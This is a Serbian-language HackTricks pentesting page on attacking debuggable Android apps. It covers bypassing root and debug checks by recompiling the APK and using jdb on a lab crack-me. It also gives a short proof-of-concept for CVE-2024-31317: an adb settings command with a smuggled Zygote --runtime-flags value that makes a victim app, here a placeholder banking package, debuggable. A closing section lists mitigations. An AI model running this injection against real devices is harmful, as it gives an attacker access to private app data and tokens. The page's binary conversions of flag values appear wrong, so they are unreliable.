Eksploatacija aplikacije koja se može debagovati
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Obilaženje provere root i debagovanja
Ovaj deo posta je sažetak iz posta https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Koraci za omogućavanje debagovanja Android aplikacije i obilaženje provera
Omogućavanje debagovanja aplikacije
Sadržaj zasnovan na https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- Dekompajliranje APK-a:
- Iskoristite APK-GUI alat za dekompajliranje APK-a.
- U android-manifest datoteci, dodajte
android:debuggable="true"
da omogućite režim debagovanja. - Ponovo kompajlirajte, potpišite i zipalign modifikovanu aplikaciju.
- Instalirajte modifikovanu aplikaciju:
- Koristite komandu:
adb install <application_name>
.
- Preuzmite ime paketa:
- Izvršite
adb shell pm list packages –3
da biste naveli aplikacije trećih strana i pronašli ime paketa.
- Postavite aplikaciju da čeka na vezu debagera:
- Komanda:
adb shell am setup-debug-app –w <package_name>
. - Napomena: Ova komanda mora biti pokrenuta svaki put pre pokretanja aplikacije kako bi se osiguralo da čeka na debager.
- Za trajnost, koristite
adb shell am setup-debug-app –w ––persistent <package_name>
. - Da biste uklonili sve oznake, koristite
adb shell am clear-debug-app <package_name>
.
- Pripremite se za debagovanje u Android Studiju:
- Idite u Android Studio na File -> Open Profile or APK.
- Otvorite rekompajlirani APK.
- Postavite prekidne tačke u ključnim Java datotekama:
- Postavite prekidne tačke u
MainActivity.java
(specifično uonCreate
metodi),b.java
, iContextWrapper.java
.
Obilaženje provera
Aplikacija će u određenim trenucima proveravati da li je debagovana i takođe će proveravati binarne datoteke koje ukazuju na uređaj sa root pristupom. Debager se može koristiti za modifikaciju informacija o aplikaciji, uklanjanje oznake debagovanja i promenu imena pretraživanih binarnih datoteka kako bi se obile ove provere.
Za proveru debagovanja:
- Modifikujte postavke oznaka:
- U sekciji varijabli konzole debagera, idite na:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
. - Napomena: Binarna reprezentacija
flags = 814267974
je11000011100111011110
, što ukazuje da je "Flag_debuggable" aktivan.
Ovi koraci zajedno osiguravaju da aplikacija može biti debagovana i da se određene sigurnosne provere mogu obilaženjem debagera, olakšavajući dublju analizu ili modifikaciju ponašanja aplikacije.
Korak 2 uključuje promenu vrednosti oznake na 814267972, koja je predstavljena u binarnom obliku kao 110000101101000000100010100.
Eksploatacija ranjivosti
Demonstracija je pružena korišćenjem ranjive aplikacije koja sadrži dugme i textview. U početku, aplikacija prikazuje "Crack Me". Cilj je promeniti poruku sa "Try Again" na "Hacked" u toku izvršavanja, bez modifikacije izvornog koda.
Provera ranjivosti
- Aplikacija je dekompajlirana korišćenjem
apktool
da bi se pristupiloAndroidManifest.xml
datoteci. - Prisutnost
android_debuggable="true"
u AndroidManifest.xml ukazuje da je aplikacija debagovana i podložna eksploataciji. - Vredno je napomenuti da se
apktool
koristi isključivo za proveru statusa debagovanja bez modifikacije bilo kog koda.
Priprema postavke
- Proces je uključivao pokretanje emulatora, instaliranje ranjive aplikacije i korišćenje
adb jdwp
za identifikaciju Dalvik VM portova koji slušaju. - JDWP (Java Debug Wire Protocol) omogućava debagovanje aplikacije koja se izvršava u VM-u izlaganjem jedinstvenog porta.
- Port forwarding je bio neophodan za daljinsko debagovanje, nakon čega je JDB povezan na ciljnu aplikaciju.
Injektovanje koda u toku izvršavanja
- Eksploatacija je izvršena postavljanjem prekidnih tačaka i kontrolisanjem toka aplikacije.
- Komande poput
classes
imethods <class_name>
korišćene su za otkrivanje strukture aplikacije. - Prekidna tačka je postavljena u
onClick
metodi, a njeno izvršavanje je kontrolisano. - Komande
locals
,next
, iset
korišćene su za inspekciju i modifikaciju lokalnih varijabli, posebno menjajući poruku "Try Again" u "Hacked". - Modifikovani kod je izvršen korišćenjem
run
komande, uspešno menjajući izlaz aplikacije u realnom vremenu.
Ovaj primer je demonstrirao kako se ponašanje debagovane aplikacije može manipulisati, ističući potencijal za složenije eksploate poput dobijanja shell pristupa na uređaju u kontekstu aplikacije.
2024 – Pretvaranje bilo koje aplikacije u debagovani proces (CVE-2024-31317)
Čak i ako ciljni APK nije isporučen sa android:debuggable
oznakom, nedavna istraživanja su pokazala da je moguće prisiliti arbitrarne aplikacije da se pokrenu sa DEBUG_ENABLE_JDWP
runtime oznakom zloupotrebom načina na koji Zygote analizira argumente komandne linije.
- Ranjivost: Nepravilna validacija
--runtime-flags
dostavljenih putem Zygote-ovog komandnog soketa omogućava napadaču koji može da dođe dosystem_server
(na primer, putem privilegovanogadb
shell-a koji imaWRITE_SECURE_SETTINGS
dozvolu) da injektuje dodatne parametre. Kada se kreirana komanda ponovo reprodukuje od stranesystem_server
, žrtvinska aplikacija se fork-uje kao debuggable i sa JDWP nitima koje slušaju. Problem se prati kao CVE-2024-31317 i rešen je u junskom 2024 Android Security Bulletin-u. - Uticaj: Potpuni pristup za čitanje/pisanje privatnom direktorijumu podataka bilo koje aplikacije (uključujući privilegovane kao što je
com.android.settings
), krađa tokena, MDM obilaženje, i u mnogim slučajevima direktan put do eskalacije privilegija zloupotrebom izvezenih IPC krajnjih tačaka sada debagovanog procesa. - Zahvaćene verzije: Android 9 do 14 pre junskog 2024 nivoa zakrpe.
Brza PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Kreirana vrednost u koraku 1 prekida parser iz “brze staze” i dodaje drugu sintetičku komandu gde je
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) prihvaćena kao da je bila dostavljena od strane okvira. Kada se aplikacija pokrene, otvara se JDWP soket i redovne dinamičke-debug trikove (zamena metoda, patchovanje varijabli, live Frida injekcija, itd.) su moguće bez modifikovanja APK-a ili slike pokretačkog uređaja.
Detekcija i ublažavanje
- Patch na 2024-06-01 (ili kasnije) nivo bezbednosti – Google je ojačao
ZygoteCommandBuffer
tako da se naredbe ne mogu krijumčariti na ovaj način. - Ograničiti
WRITE_SECURE_SETTINGS
/shell
pristup na proizvodnim uređajima. Eksploit zahteva ovu dozvolu, koja se obično drži samo od strane ADB ili aplikacija sa privilegijama OEM-a. - Na EMM/MDM-u upravljanim flotama, primeniti
ro.debuggable=0
i odbiti shell putemadb disable-verifier
.
Reference
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.